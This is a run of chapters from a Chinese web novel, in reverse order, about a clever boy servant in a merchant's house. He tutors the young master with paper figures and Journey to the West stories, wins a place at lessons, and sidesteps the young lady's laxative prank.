他那颗一直悬着的心,总算是稍稍放下了一些。 “平川,在张家……一切可都还好?”他声音有些沙哑,带着关切。 “爹,您放心,我在这里一切都好。”陈平川连忙应道,随即急切地反问,“家里呢?娘和妹妹她们都还好吗?” “都好,都好……”陈仲和连连点头,眼神却有些闪烁,似乎欲言又止,最后才像是下定了决心一般,低声道:“就是……就是你娘……前阵子你刚走那会儿,她病了一场,大夫说是思念成疾……” 陈平川闻言,心中猛地一紧,像是被一只无形的手狠狠揪了一下。 “你先前留下的那三两银子,都给你娘抓药用了,如今已经大好了,你莫要太过担心。”陈仲和见儿子脸色不对,连忙拍了拍他的肩膀,安慰道,脸上却不由自主地露出一丝愧疚之色。 这钱,本来说好是留着给儿子将来赎身用的,结果…… 陈平川听到母亲已无大碍,心里悬着的那块大石头才算落了地,暗自松了一口气。 钱没了可以再挣,只要母亲身体安康就好。 “爹,您尽管放心,我在这里真的什么都好。您和娘一定要多保重身体,千万别再累病了。”他一边说着,一边将之前张盛财奖励自己的那二两银子,从怀里掏出来,不由分说地塞进了父亲那双粗糙开裂的大手里。 “平川,这……这银子你还是自己留着吧,万一有个什么急事,也能应应急……”陈仲和看着手中那沉甸甸的银锭子,连忙推辞,他实在不肯收。 他总担心儿子在这大户人家里会挨饿受冻,会受人欺负,身上有点钱傍身,或许日子能好过那么一点点。 陈平川却咧嘴一笑,露出一口细密的白牙,道:“爹,我在这里有吃有穿,每日还有书读,要这么多钱做什么用?再说,我平日里也出不了府门,就算有钱,想花都没地方花呢。这银子您拿回去,多少也能补贴些家用。” 父子两人互相推让了好一番,最后,在陈平川的再三坚持下,陈仲和才眼圈微红地将那二两银子小心翼翼地贴身收好,带着满心的不舍与牵挂,一步三回头地离开了。 望着父亲渐渐消失在拐角的身影,陈平川小小的拳头不由自主地握紧了。 必须尽快想出更好的法子,让家里彻底摆脱困境! 仅仅依靠给张家供应鹅卵石,绝非长久之计。 张府的路面总有铺完的一天。 更何况,这法子一旦传扬开去,以父亲那老实巴交的性子,哪里争得过村里那些心思活络的? 必须另辟蹊径! 陈平川深吸一口气,压下心中的思绪,转身正准备返回自己的偏房,好好想想。 谁知,刚一转身,便撞上了一堵“小肉墙”。 张静姝双手叉腰,腮帮子鼓鼓的,像只生气的小河豚,正怒视着他。 “哼!臭书童!我都打听清楚了!” “府里的周嬷嬷、厨房的刘大娘、还有我院子里的春桃姐姐,她们全都说没听过什么《西游记》!” 小丫头语气笃定,一副“我已经看穿了你”的得意模样。 陈平川看着她那副小模样,嘴角几不可查地勾起一抹弧度。 这丫头,为了听个故事,还真是锲而不舍。 不过,这份执着,若是利用得当…… 一个绝妙的念头,如电光石火般在他脑海中飞速成型、完善。 “快!快给我讲故事!”张静姝见他不说话,又跺了跺脚,语气带着急切。 她太想知道后面的剧情了! 陈平川却不慌不忙地掸了掸衣袖。 “故事自然是要讲的。” 他顿了顿,看着张静姝亮起来的眼睛,话锋一转:“不过嘛,光用嘴巴说,总觉得少了点意思,不够精彩。” 张静姝果然被勾起了好奇心,她眨巴着水灵灵的大眼睛,追问道:“少什么?” 陈平川心中暗笑,小鱼儿上钩了。 经过这些日子的耳濡目染,他知道张家是做布匹生意的,家里必定有自己的染坊,那些上等的颜料,遇水不化,正是他所需要的。 “不知小姐可否帮我弄到一些府上染布坊里用的颜料?不用多,一小罐就行,特别是那种遇水不掉色的,要最好的。” 张静姝的眉头微微蹙起,像个小大人似的审视着他:“你要颜料做什么?这跟讲故事有什么干系?” 陈平川神秘一笑,“关系可太大了!” “小姐若是能将颜料取来,明日此时,我便送小姐一个天大的惊喜!保准让这《西游记》的故事,听起来、看起来,都比现在精彩百倍!” ? 第19章 又断章!?傲娇千金被逼当场砸钱! 而陈平川只是低头,作出一副诚恳受教的模样,心里却自有另一番计较。 木秀于林,风必摧之,行高于人,众必非之。 藏拙,尤其是在这深宅大院,方是安身立命的长久之道。 唯一不必刻意遮掩的,便是他那惊人的记忆力。 方先生教过的东西,无论篇幅多寡,他总能一字不差地复述出来。 这一点,尚可以用“天资聪颖”、“过目不忘”这种天赋异禀来勉强解释过去。 不过,这份近乎妖孽的本事,还是让见多识广的方先生暗自称奇。 再见到陈平川每日除了尽心伺候少爷读书,其余时间便是抱着书本苦读,描红练字也从未有丝毫懈怠,那份超乎年龄的用功刻苦的劲头,更是让老先生颇为欣赏。 “这孩子,虽然写字实在是不堪入目,但这记性和这份用功的劲头,或许将来也能在府里混个识文断字的管事当当?” 方先生捻着他那几根稀疏的山羊胡须,暗自思忖着,对陈平川的未来,其实并没抱太大的指望。 他哪里知道,许多年后,每每想起今日这般“有眼不识泰山”的念头,总会让他一张老脸烧得通红,羞愧得无地自容。 …… 这日午后歇息,窗外蝉鸣一声高过一声,搅得人心烦意乱。 张金宝早就按捺不住了,小胖手紧紧扯着陈平川的袖子,急切地催促。 “大哥,大哥!快讲孙悟空!那猴子被压在山底下,后来究竟怎么样了?”他一张小脸写满了焦急与期待。 陈平川正要开口,眼角的余光却敏锐地瞥见窗棂外,一抹小小的粉色身影,飞快地一闪而过。 他嘴角几不可查地微微扬了扬,勾起一抹促狭的笑意。 “少爷,我看小姐似乎也对这故事颇感兴趣,不如请她一同进来听讲,如何?” 张金宝闻言一愣,顺着陈平川的目光望向窗外,旋即咧开嘴,露出一个憨厚的笑容:“妹妹也想听?太好了!快进来!大哥讲的故事,可比街上那些说书先生说的要精彩一百倍!” 眼见自己被当场戳穿,张静姝这才不情不愿地从窗棂后探出半个小脑袋,粉嫩的小嘴习惯性地一撇:“哼!谁稀罕听他的什么破故事!” 话是这么说,但当陈平川清了清嗓子,用那不疾不徐的语调,缓缓道出“那齐天大圣美猴王,被如来佛祖压在五行山下,风吹雨打,寒来暑往,一晃便是悠悠五百年岁月”时,一个小小的身影已经悄没声息地搬了个精致的锦墩,不远不近地坐了下来。 她小手里还捧着一小碟雕琢成花瓣模样的芙蓉糕,一边小口小口地咬着,一边竖起两只小耳朵,全神贯注地听着,那机灵的模样,活像一只偷吃的小狐狸。 陈平川见状,心中暗笑,故意逗她,讲故事的声音渐渐压低,最后变得如同蚊子一般,只有紧挨着他的张金宝才能勉强听清。 张静姝果然上当,发现自己听不清楚后面的精彩内容,心里着急,只好一点一点地搬着自己的小锦墩,悄悄往前挪动。 等她终于能清晰地听到声音时,愕然发现自己不知不觉间,已经端端正正地坐在了陈平川的面前。 而那个可恶的臭书童,正嘴角噙着一丝若有若无的笑意,似笑非笑地望着自己。 陈平川故作惊讶地微微挑眉,语气带着一丝戏谑:“咦?我记得小姐方才好像说过,不爱听我的‘破故事’来着?” 张静姝那张粉嫩的小脸“唰”地一下就红透了,像是枝头熟透了的苹果,连小巧的耳根都染上了一层可爱的粉色。 她重重地哼了一声,仿佛要掩饰自己的窘迫,将手中那碟还剩大半的芙蓉糕,气鼓鼓地往陈平川面前用力一推。 她下巴抬得高高的,梗着雪白的小脖子,奶声奶气地说道:“喏!这个是赏你吃的!本小姐才不会白白听你的故事呢!” 那芙蓉糕散发着诱人的甜香,做工也极为精致,陈平川却只是淡淡地瞥了一眼。 他伸出手,不着痕迹地将那碟子往旁边的张金宝那边挪了挪。 “少爷,这芙蓉糕看着不错,你先尝尝,看看可合你的口味。” 张金宝此刻满心都是猴子的故事,哪里会多想,毫不客气地捏起一块最大的便塞进嘴里,腮帮子鼓鼓囊囊,含糊不清地连声称赞。 “唔……好吃!真好吃!大哥你也快吃!” 陈平川等了一会,见张金宝没什么不良反应,这才慢条斯理地拿起一块,品尝起来。 张静姝见他这副小心翼翼、疑神疑鬼的模样,气得腮帮子都鼓了起来,狠狠瞪了他一眼,不耐烦地催促道:“胆小鬼!磨磨蹭蹭的!快讲!后面怎么样了?” 陈平川这才清了清嗓子,不紧不慢地继续讲着唐三藏如何历经艰险收服了小白龙,又如何在观音禅院遭遇那场惊心动魄的袈裟失窃案。 张金宝听得抓耳挠腮,时而惊呼,时而扼腕,整个人都沉浸在了故事之中,兴奋不已。 就连一向傲娇的张静姝,也被这跌宕起伏的情节深深吸引,小嘴微张,一双乌溜溜的大眼睛瞪得溜圆,连手里的芙蓉糕都忘了继续吃。 讲到那黑风山的黑熊怪施展妖法,盗走了佛宝锦襴袈裟,孙悟空与之赌斗正酣,打得天昏地暗之际,陈平川却突然停了下来,话锋一转。 “今日的故事,便到这里吧。” 陈平川好整以暇地端起桌上的粗瓷茶碗,轻轻抿了一口微凉的茶水。 “啊?别停啊!”张金宝正听到兴头上,顿时发出一声失望的哀嚎。 张静姝更是急得一下子从锦墩上站了起来,柳眉倒竖。 “怎么又不讲了?那袈裟到底找回来没有?孙悟空打赢了没有?” 陈平川放下茶碗,慢悠悠地晃了晃脑袋,露出一副说书先生特有的神秘笑容:“欲知后事究竟如何,且听下回分解。” “你!”张静姝一双杏眼瞪得溜圆,气呼呼地指着他,“你敢不讲?信不信我现在就去告诉我爹,说你在书房里根本不好好陪我哥读书,就知道讲这些神神鬼鬼的瞎话!” 陈平川微微一笑,从容地摊了摊手,一副“悉听尊便”的模样:“小姐请便。不过……以后你可就听不到真有趣的故事了。” 张静姝一愣,一张小脸涨得通红。 她眼珠一转,又换了个法子,从自己腰间系着的精致小荷包里摸索了半天,摸出一小块碎银子,约莫有半钱左右,用力往桌上一拍。 “臭书童!以后我天天都给你带府里最好吃的点心,还给你赏钱!你快点给我讲!” ? 第18章 舍了银子换蒙学,划算! “糊涂!” 方先生重重冷哼一声,甩了甩袖子。 “少爷你年幼无知,被这等旁门左道所蒙蔽,竟还反过来替他说话!” “今日,无论如何,老夫也定要让老爷将这陈平川逐出张府,以正视听!” 陈平川垂首皱眉,心中却在飞速盘算着对策。 今日这关,怕是不好过了。 正当方先生怒火中烧,准备拂袖而去,直奔张盛财处告状之时。 书房的门,突然“吱呀”一声被人从外面推开了。 张盛财那个胖乎乎、油光满面的身影,带着一脸的春风得意,出现在门口。 “哈哈哈!方先生教导有方啊!” 张盛财人未至,洪亮的笑声便先传了进来。 “我家那不成器的小兔崽子,往日里让他背三句诗词都跟要他命似的,昨日竟然能一口气背下十几句!” 他满面红光地走进来,手里还捏着一张纸,得意扬扬地展示给方先生看。 “先生您再瞧瞧这个!这小子连自己名字都会写了!虽然歪歪扭扭跟狗爬似的,但确确实实是他自己写的!哈哈哈!” 张盛财转向方先生,语气中充满了压抑不住的喜悦和赞叹。 “这……” 方先生看着张盛财递过来的那张写着“张金宝”三个大字的纸,又看了看抹眼泪的张金宝,再瞟了一眼旁边垂首不语的陈平川。 一时之间,他竟有些语塞。 张金宝平日的学业是什么德行,他这个做先生的心里最有数。 昨日他不过是按部就班讲了些基础,怎么可能有这般神效? 他的目光,不由自主地又一次移到了旁边的陈平川身上。 难道……难道真是这小书童…… 张盛财此刻已从怀中掏出一个沉甸甸的钱袋,不由分说地塞到了方先生手中。 “先生辛苦了!这十两银子,是老夫的一点心意,万望先生莫要推辞!” “还望先生日后继续这般用心教导小儿,老夫感激不尽!” 方先生手握着那分量不轻的钱袋,只觉得有些烫手。 这赞扬,这赏赐……他受之有愧啊! 他张了张嘴,刚想解释几句。 可话到嘴边,又硬生生咽了回去。 自己若是将真相一五一十地告诉张盛财,说他儿子之所以有进步,全靠一个八岁小书童的“旁门左道”,那岂不是明明白白地告诉人家,他这个正经八百请来的先生,连个小书童都不如? 这要是传扬出去,他这张老脸,以后还往哪儿搁? 犹豫再三,方先生终是暗暗咬了咬牙。 他对着张盛财拱了拱手,挤出一丝笑容。 “多谢老爷厚赏。在下……在下定当尽心竭力,不敢懈怠!” 张盛财满意点点头,又对着张金宝勉励了几句,然后便哼着不成调的小曲,心满意足,摇头晃脑地走了。 书房内,一时安静了下来。 气氛有些微妙。 方先生看着手中那沉甸甸的银子,又抬眼看向垂首立在一旁的陈平川,神色复杂至极。 半晌。 他将那个钱袋放到了桌上,轻轻推向陈平川的方向。 “此事,是你之功。老夫……不掠人之美,这银子,你拿走吧。” 陈平川抬起头,对着方先生恭恭敬敬地拱了拱手。 “先生,这银子,小的万万不敢受。” 方先生微微挑了挑眉,眼中闪过一丝讶异。 这小子,竟不爱财? 要知道,十两银子,足够寻常农户人家一两年的开销了! 对于一个卖身为奴的书童而言,更是一笔巨款。 “那你想要什么?” 他好奇地问道,语气也不自觉地缓和了许多。 陈平川再次躬身,深深一揖。 “小的斗胆,恳请先生,能允许小的在少爷读书之时,于一旁侍奉笔墨,随堂听学,识些文字,明些道理。” “至于今日之事……还请先生能为小的保密,莫要声张。” 方先生着实有些意外。 这小子,身为贱籍,即便学了满腹经纶,也断无科考入仕的可能。 他竟然不要唾手可得的银子,反而要一个旁听读书的机会? 他沉吟片刻,目光锐利地打量着眼前的陈平川。 这孩子,确实有几分超乎年龄的机灵和沉稳。 他那套教学的方法,在自己看来虽然是离经叛道,不合规矩,却的的确确让金宝那块榆木疙瘩开了窍。 而此刻,他眼中那份对知识的渴望与向往,却又不似作伪。 恍惚之间。 方先生仿佛从陈平川身上,看到了另外一个瘦弱的孩子。 与陈平川年纪相仿,同样衣衫褴褛,家境贫寒。 那个孩子,也曾这般恭敬地站在一位老先生面前,用带着怯意却又无比坚定的眼神,拱手求学。 而那个孩子,正是数十年前,年少时的方先生自己。 心头某处,似乎被轻轻触动了一下。 也罢。 一声几不可闻的轻叹,从方先生的唇边逸出。 “你且留下吧。” 他的声音恢复了往日的平静,却少了几分严厉,多了几分柔和。 “只是,你须得记住。学问之道,博大精深,并无真正的捷径可走。” “你那些取巧之物,偶为点缀,启迪蒙童尚可。若是沉迷其中,反会舍本逐末,害了根本。” “日后,你当用心体悟圣贤经典之中的微言大义,方是读书正途,可曾明白?” 陈平川闻言,心中一块大石轰然落地。 他脸上露出发自内心的喜悦,再次深深一揖,声音清朗。 “多谢先生成全!学生谨遵先生教诲!” 自此,陈平川便正式在方先生跟前蒙学。 他每日跟着张金宝一同坐在书案前,认真听方先生讲学。 晨钟暮鼓,勤学不辍。 轮到描红习字,陈平川握着那管细细的毛笔,眉头便会不自觉地轻轻蹙起。 纸上的字迹,歪歪扭扭,宛如初学孩童胡乱涂鸦,比张金宝那手被戏称为“狗刨”的字,还要难看上几分。 他心中暗自叫苦。 要刻意写出这般不堪入目的字,可比正儿八经写好字要费劲多了。 偶尔下笔顺畅,眼看就要写出几分风骨,他还得赶紧手腕一抖,巧妙地将那笔锋带偏,补上几笔拙劣的痕迹。 生怕一不留神,露了陷,被方先生瞧出什么端倪来,那可就大大不妙了。 方先生每每踱步至他案前,看到他纸上那些“蚯蚓过道”,眉头便会拧成一个深深的“川”字,几乎能夹死苍蝇。 而后,便会发出一声长长的,带着无尽惋惜的叹息。 “唉,朽木,当真是朽木啊!” 老先生心里不住感叹,这读书习字,终究还是绕不开天分二字。 光有一颗向学之心,用处有限。 ? 第17章 好心办坏事?天才教学惹怒老古板! 陈平川看着他那副天真单纯的模样,眼中闪过一丝笑意。 他耐着性子,用张金宝能听懂的话,轻声解释起来。 “少爷,这叫‘投桃报李’。” “咱们在这世上立足,不能只顾着自己出风头。你对别人好,别人自然也会对你好。咱们把好处分给别人一些,别人才会乐意帮衬咱们,路才能越走越宽。” “现在你再想想,我把功劳,让给方先生,他知道了,心里是不是高兴?” “方先生一高兴,教你读书的时候,是不是就更用心了?” “他教你更用心,少爷你学得更快更好,老爷知道了,是不是也更高兴?” 陈平川顿了顿,继续道:“而且啊,方先生高兴了,平时说不定就骂说你几句,你少挨骂,大哥我的日子是不是也跟着好过一些?” “这样一来,方先生高兴,你高兴,老爷高兴,我也高兴。” “你说,这是不是一件大好事?” 张金宝眨巴着眼睛,似懂非懂地点了点头。 他努力地消化着陈平川说的这些话。 虽然他还是不太明白这里面那些弯弯绕绕的道理。 但他心中对陈平川的敬佩,却是又深了一层。 “大哥!” 他由衷地感叹道。 “你懂得可真多啊!” …… 晨曦微露。 露水沾湿了青石铺就的院子。 方先生捋着颔下几缕山羊胡须,步履沉稳地走向书房。 “金宝,昨日所学,背来听听。” 方先生的声音带着威严,用戒尺敲了敲桌面。 他准备严格考校一下张家这位小少爷的学业进度,务必得让这个不成器的小子吃点苦头,知道读书不是玩闹。 张金宝放下手中的书本,一反常态地挺直了小胸脯。 “先生想从哪里开始考校?” 方先生心中冷哼一声,面上却不动声色。 他随手翻开《三字经》,指着开篇之处:“从‘人之初’开始背,一直到‘曰仁义’为止。” 话音刚落。 张金宝便如同换了个人一般,朗朗背诵。 “人之初,性本善。性相近,习相远。” “苟不教,性乃迁。教之道,贵以专……” 方先生的表情,由最初的淡然自若,逐渐变成了难以置信的惊讶。 然后,那份惊讶,便完全僵在了他的脸上。 “昔孟母,择邻处。子不学,断机杼……” 张金宝一口气背下来,字正腔圆,一字不差。 甚至,还带着几分抑扬顿挫的韵味,仿佛已将经文融会贯通。 书房内,一片静默。 空气仿佛都凝滞了。 方先生脸上的表情,如同开了染坊一般,缓慢地变化着。 从震惊到怀疑,再到一种复杂难言的神色。 他瞪着张金宝,那双老眼睁得溜圆,半晌说不出一个字来。 昨日这小子,还是一问三不知,狗屁不通的蠢物! 今日怎地……怎地就跟开了窍似的?! “先生,我背得可还正确?” 张金宝眨巴着眼睛,满脸期待地望着方先生,等着夸奖。 方先生像是从梦中惊醒过来,喉结滚动了一下,才轻轻点了点头。 “对,对。背得……很好。” 声音竟有些干涩。 听到先生破天荒的表扬,张金宝立刻得意地扭头看向一旁的陈平川。 陈平川对他悄悄竖起一个大拇指,眼中带着笑意。 方先生捋了捋胡须,心中虽是欣慰,但更多的是惊疑不定。 “金宝。”他按捺住心中的好奇,尽量让自己的语气听起来平静些。 “你是如何……如何在短短一日之内,便背下这许多的内容?” 张金宝闻言,顿时眉飞色舞起来。 他指着陈平川,声音里满是炫耀。 “是大哥教我的!先生您瞧,大哥还有宝贝呢!” 说着,他便献宝似的从自己的口袋里,掏出那些五颜六色的纸片。 陈平川心中咯噔一下,暗道一声:“不好!” 想拦,已是来不及了。 那些剪裁奇特的小人儿、栩栩如生的小兽、还有日月星辰的图案,一下子摊满了书桌。 方先生的目光,死死地落在了那些花花绿绿的纸片上。 他的脸色,以肉眼可见的速度,骤然变得难看起来! 张金宝却丝毫没有察觉到先生的异样。 他依旧满脸天真,欢喜地拿出昨日陈平川做的那些小纸人,迫不及待地展示给方先生看。 “先生您瞧,就是这个!可好玩了!” “这是‘人之初’里说的人,刚生下来的时候,心肠都是好的,就像这个笑脸小人……” “这个是‘苟不教’,就是说如果没人好好管教的话,就会变坏,变成这个凶巴巴的样子……” 方先生的脸色,已经从难看,变成了铁青。 他盯着那些五颜六色的小纸人,像是看到了什么洪水猛兽、妖魔鬼怪一般。 胸膛剧烈起伏。 “这……这都是些什么旁门左道!!” 他猛地一拍桌案,颌下的胡子都气得根根倒竖! 猛地一把抓过桌上的那些纸人,狠狠地捏在掌心,仿佛要将它们捏碎。 “圣贤经典,当敬之以心、传之以道!岂是用这等粗鄙不堪的小儿玩物来亵渎的?!” 他的声音因愤怒而颤抖。 张金宝被方先生突如其来的雷霆之怒吓懵了。 小嘴一撇,眼泪瞬间就在眼眶里打起了转,眼看就要哭出来。 陈平川心知不妙,连忙上前一步,躬身行礼。 “方先生息怒。小的只是想用些浅显的法子,帮少爷更好地记住先生传授的经义,绝无半点亵渎圣贤之心。” “住口!” 方先生厉声喝道,双目圆睁,怒视着陈平川。 “你一个连书都没正经读过几天的黄口小儿,能懂什么圣贤大道?!” “读书乃是千年正途,修身立命之本,岂容你这般胡乱引导,引入歧途?!” “老夫先前还道你这孺子有几分灵性,今日看来,是老夫错看了你!” 方先生怒气冲冲地伸出手指,几乎要戳到陈平川的鼻尖。 “你这等胡乱教导,不求甚解,只知取巧,只会带歪了少爷的心性!” “我这就去找老爷!定要他将你这等不知天高地厚、蛊惑少爷的竖子,即刻赶出府去!” 张金宝听到这里,再也忍不住了,急得“哇”的一声大哭起来。 “不要啊!方先生,不要赶大哥走!” 他一边抹着眼泪,一边抽噎着为陈平川辩解。 “大哥他是好人!他、他教我背书,教我写字,都是为了帮我!不是坏人!” ? 第16章 张财主狂喜,我这银子没白花! “孙悟空好生厉害!居然打败了十万天兵天将!我也要当孙悟空!” 张盛财的脚步猛地一顿。 张泛着油光的胖脸瞬间沉了下来,眉头紧紧拧成了一个“川”字。 好啊! 小兔崽子,定然又是在书房里头疯玩! 那个陈平川怎么回事?竟不规劝少爷用功读书,反而由着他的性子瞎混,要他何用?! 一股无名火直冲张盛财的脑门,脚下也加快了步伐。 几步便冲到了书房外,想也不想,“砰”的一声,猛地推开了房门! “张金宝!” 一声怒喝如同炸雷。 “你个不成器的东西,是不是又没给老子好好念书!” 屋内的两人皆是一惊。 张金宝看见自家老爹那张布满怒容的脸,吓得小脖子一缩,大气儿也不敢喘一口。 陈平川则显得镇定许多。 他从容起身,不慌不忙地朝着怒气冲冲的张盛财拱了拱手。 “老爷,您息怒。” “少爷方才一直在用功读书,此刻不过是学累了,小的让他稍作歇息罢了。” 张盛财闻言,怒火更炽,几乎是指着陈平川的鼻子。 “你还敢狡辩!” 他将满腔怒火悉数倾泻到陈平川头上,厉声斥道:“老子花钱买你回来,是让你好生劝导金宝上进的!” “你可倒好!竟然陪着他一块儿疯玩!我看你这书童是不想干了!” 陈平川面上依旧平静,声音清晰。 “老爷明鉴,小的确实一直陪着少爷温习功课。” “少爷今日进益颇多,已非昨日可比。” 他微微侧身,语气笃定:“老爷若是不信,尽可当场考校一番。” 说完,他便将一本《三字经》恭恭敬敬地递到了张盛财的面前。 张盛财重重地冷哼了一声,鼻孔里几乎要喷出火来。 “好!” “我倒要亲自看看,他究竟学进去了些什么狗屁东西!” 陈平川不着痕迹地轻轻碰了碰身旁张金宝的胳膊。 他压低了声音,说道:“少爷,莫慌,和刚才一样念给老爷听便是。” 张金宝紧张地咽了口唾沫。 他悄悄深吸一口气,清了清嗓子,开始背诵起来。 “人、人之初,性本善。” 起初还有些磕巴,但很快便流畅起来。 “性相近,习相远。苟不教,性乃迁……” 张金宝的声音清脆响亮,在书房内回荡。 他一口气背了足足数十句,竟是一字不差,而且语调间带着几分理解,显然不是死记硬背那么简单。 张盛财脸上的怒容,在听见第一句时,便是一僵。 待到张金宝越背越多,越背越顺,他脸上的表情便从最初的错愕,转为了掩饰不住的惊讶。 最后,当张金宝顺利背完一大段后,张盛财那张写满了“不信”二字的脸上,如同冰雪消融一般,缓缓绽开了一抹难以置信的笑容。 “好小子!” 张盛财大步流星地走到儿子面前,蒲扇般的大手带着些许颤抖,重重地揉了揉张金宝的脑袋。 他的语气里,充满了压抑不住的欣慰与激动。 “没想到你这臭小子,还真给老子学进去了!” 张金宝被自家爹爹如此夸奖,一张小脸蛋顿时涨得通红,心中乐开了花,自信心也油然而生。 “爹爹!爹爹!” 他兴奋地嚷道:“我不光会背书了!我、我还会写自己的名字了!” 说着,他急匆匆抓起桌上的毛笔,略显笨拙地在纸上写下了三个字。 然后,他高高举起那张纸,如同献宝一般,递到了张盛财的面前。 纸上,三个歪歪扭扭的墨迹,勉强能辨认出是“张金宝”三个大字。 虽然很难看,但每一个笔画都写得极认真。 张盛财的目光死死盯在那三个字上。 他又抬眼看了看儿子那张写满期待的小脸。 这个宝贝儿子,平日里认个字,都跟要他半条命似的。 让他写自己的名字,那写出来的东西,简直不堪入目! 今日…… 今日他竟然能一字不差地背出这么多书? 还会写自己的名字了?! 这日头,难道是从西边升起来了不成?! “哎哟!我的乖乖儿子!” 张盛财突然爆发出一阵震天的大笑,眼角都挤出了泪花。 “我张盛财的儿子,居然会写字了!真是了不得!了不得啊!” 他眉眼间的喜色,几乎要溢出来。 笑了好一阵,他才稍稍平复了些,目光转向一旁垂手侍立的陈平川。 脸上的笑容收敛了几分,但语气已不复先前的暴怒。 “这些都是你教的?” 他满意点点头。 “嗯,不错,老子这银子,看来是没白花!” 陈平川依旧垂着眼帘,恭敬地躬身行了一礼。 “回老爷的话。” 他的声音不大,却清晰异常。 “少爷今日能有这般长足的进步,皆仰赖方先生上午的悉心教导。” “小的愚钝,不过是依照先生所授之法,陪着少爷温习巩固,不敢居功。” 陈平川心中想得通透。 方先生乃是正经请来的老师,而自己不过是个新来的小书童。 若将这天大的功劳尽数揽在自己身上,非但讨不到好,反而可能惹火烧身。 一旦方先生知晓此事,心中难免会生出芥蒂,日后行事诸多不便。 与其如此,不如做个顺水人情,将功劳泰半推给方先生。 自己暗中用心教导少爷便是。 最终目的,是让少爷真正学有所成,至于这功劳归谁,他并不十分在意。 况且,这份人情送出去,日后说不定还能有意外的惊喜。 张盛财听了陈平川这谦虚的回话,脸上的神色愈发满意了。 这小子,不仅能让他那榆木疙瘩似的儿子开窍,还如此懂事知礼,不骄不躁。 “好!好!好!” 他连说了三个好字。 “看来方先生果然是有真才实学的宿儒!这次请他来,束脩给得值!” “明日,老子定要好好感谢方先生一番!” 说着,他伸手在腰间鼓囊囊的钱袋里一掏。 摸出了两枚亮澄澄的银锭子。 他掂了掂,随手便塞到了陈平川的手中。 “你伺候得尽心,也算有功!” “这是赏你的!拿着!” 沉甸甸的银子入手,陈平川心中一喜,面上却不敢显露。 他连忙紧紧握住,再次躬身大声道谢。 “多谢老爷厚赏!小的今后定当更加尽心尽力伺候少爷,不敢有丝毫懈怠!” 张盛财满意地点了点头。 他又板着脸,对着张金宝叮嘱了几句“要听先生的话,不许再调皮捣蛋”之类的话。 这才心满意足,背着手,迈着方步,摇头晃脑离开了书房。 待张盛财的脚步声远去,张金宝才长长舒了一口气。 他凑到陈平川身边,不解地挠了挠自己的小脑袋。 “大哥。” 他小声问道:“明明是你教我的法子好用,为什么要说是方先生的功劳呀?” 第15章 下一次,本小姐亲手把东西喂你吃下去 陈平川眼中闪烁着黠慧的光芒。 他手持那些剪裁得活灵活现的小纸片,俨然一位引人入胜的说书先生,将《三字经》里那些原本枯燥的道理,活灵活现地“演”给了张金宝看。 每一句经文,陈平川都巧妙地配上了形象的小道具。 再加上他那深入浅出的解释,通俗易懂。 那些曾让张金宝视作催眠符的文字,此刻仿佛被注入了灵魂,一下子变得生动有趣起来。 张金宝的小脸蛋上,先前那生无可恋的表情早已消失无踪。 取而代之的,是满满的专注与好奇,听得如痴如醉。 陈平川不疾不徐,循序渐进。 他像剥洋葱一般,一层层地引导着张金宝,去理解那些文字背后蕴藏的道理和生动故事。 张金宝完全沉浸其中,小脑袋随着陈平川的讲述,一下下点着,仿佛小鸡啄米。 他甚至觉得,陈平川大哥讲的这些,比街头那些说书先生口中的江湖故事,还要动听百倍千倍! “大哥!” 一个教学小段落结束,张金宝迫不及待地拉住陈平川的袖子,一双眼睛闪闪发光,满是期待地央求道:“除了这《三字经》,你再给我多讲点好玩的故事呗!就一点点!” 陈平川唇角勾起一抹若有若无的笑意。 “行啊,少爷既然想听,那我就给你讲个更好玩的!” 他刻意顿了顿,吊足了张金宝的胃口。 “这个故事,叫做《西游记》!” “讲的是一只神通广大的猴子,大闹天宫的故事!” “猴子?”张金宝的眼睛瞬间瞪得溜圆,好奇心彻底被点燃,“猴子怎么还能大闹天宫?!” 这简直超出了他的认知。 “他可不是普通的猴子!” 陈平川的声音压低了几分,带着一丝神秘感。 “那是一只从仙石里,吸收日月精华,嘭的一声蹦出来的灵猴!” “他神通广大,会七十二般变化,能上天入地,入海遨游,搅得三界都不得安宁!” 张金宝听得嘴巴都张成了“喔”型,心驰神往。 “不过嘛……”陈平川话锋一转,故意拖长了语调,“你得先把今天教的这几句《三字经》给背熟了,我才能接着给你讲这猴子后续的精彩故事哦。” 一听说还有这般天马行空的奇闻异事等着自己,张金宝哪里还坐得住? 他立刻来了十二分的精神! 小手指着书上的字,一字一句,虽然起初还有些磕磕巴巴,但那股认真劲儿,却是前所未有的。 结果,还不到半个时辰的功夫。 那个先前连一句都背不下来的张金宝,竟然已经能相当流利地将《三字经》开头的那十几句,一字不差地背诵出来! 不仅如此,对于其中蕴含的意思,他也理解了个七七八八,不再是囫囵吞枣。 这还没完! 在陈平川手把手的教导下,他甚至学会了用毛笔,写出了自己的大名——张金宝! 看着纸上那三个歪歪扭扭却又充满成就感的字,张金宝小小的脸上,洋溢着一种从未有过的兴奋与光彩。 “哈哈!我会写字了!我张金宝会写自己的名字了!” “我也会背书了!人之初,性本善……” 张金宝激动得直接从凳子上跳了起来,在书房里手舞足蹈,活像一只刚偷到桃子的小猴子,乐不可支。 “少爷果然是天资聪颖,一点就透,进步神速啊!”陈平川适时地送上一记彩虹屁,心中却暗自嘀咕,这小胖子总算是开了点窍。 张金宝被夸得脸颊微红,有些不好意思地挠了挠后脑勺,嘿嘿一笑。 “都是大哥你教得好,比方先生讲得有意思多了!” 此刻,书房外的墙角处。 一道娇小的身影,正悄悄地探出了半个小脑袋,鬼鬼祟祟。 正是张家大小姐,张静姝。 她其实已经在那儿偷偷摸摸地“视察”了好一阵子了。 这个臭书童! 他怎么一点事都没有? 看他给哥哥讲课讲得眉飞色舞的样子,哪里有闹肚子的迹象! 可恶! 她明明让贴身丫鬟去药房弄来的泻药,药量还特意加大了好几倍,保证能让十头牛都拉稀! 府里其他那些贪嘴的仆役,一个个都拉得快虚脱了,现在走路都还打着晃呢。 为什么这个臭书童,一点反应都没有? 难道……那药对他没用? 不可能!绝对不可能! 张静姝皱着她那好看的秀眉,小脑袋瓜飞速运转。 除非…… 除非他压根就没吃本小姐“赏”他的那些东西! 哼! 下一次,本小姐一定要亲手把东西喂你吃下去! 腹黑的小萝莉,两条秀眉紧紧地蹙成了一个小疙瘩,粉嫩的小嘴不服气地嘟囔着,已然开始盘算下一次的“复仇大计”。 就在这时。 陈平川那绘声绘色的讲故事的声音,悠悠地飘进了她的耳朵里。 “话说那盘古开天辟地之后,这茫茫大地上啊,便分为了四大部洲。咱们要说的这个故事,就发生在东胜神洲……” 是陈平川那个臭书童的声音! 